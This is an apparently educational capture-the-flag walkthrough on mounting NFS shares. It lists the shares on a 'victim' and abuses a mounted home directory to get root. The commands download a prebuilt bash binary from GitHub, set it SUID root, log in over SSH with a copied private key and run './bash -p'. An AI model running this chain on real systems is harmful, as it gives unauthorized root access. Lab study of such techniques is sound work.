Mounting NFS
Mounting NFS Shares
Your client's system needs a directory where all the content shared by the host server in the export folder can be accessed. You can create this folder anywhere on your system. Once you've created this mount point, you can use the "mount" command to connect the NFS share to the mount point on your machine like so:
sudo mount -t nfs IP:share /tmp/mount/ -nolock
Breaking this down:
| Tag | Function |
|---|---|
| sudo | Run as root |
| mount | Execute the mount command |
| -t nfs | Type of device to mount, then specifying that it's NFS |
| IP:share | The IP Address of the NFS server, and the name of the share we wish to mount |
| -nolock | Specifies not to use NLM locking |
List NFS shares on the victim: /usr/sbin/showmount -e IP
Make the mount point: mkdir /tmp/mount
Using the Mount to Privesc
Once we have mounted to the home directory /tmp/mount/cappucino, open a new terminal tab, cd into ~/Downloads, and wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash, which will be used to privesc.
Next, go back to the /tmp/mount/cappucino directory and cp ~/Downlaods/bash ., then set the permissions with sudo chown root bash, sudo chmod +s bash, and sudo chmod +x bash. We can then SSH into the box with the id_rsa we copied to our attack box and ls -lah for bash. If all went well, we can ./bash -p and gain root.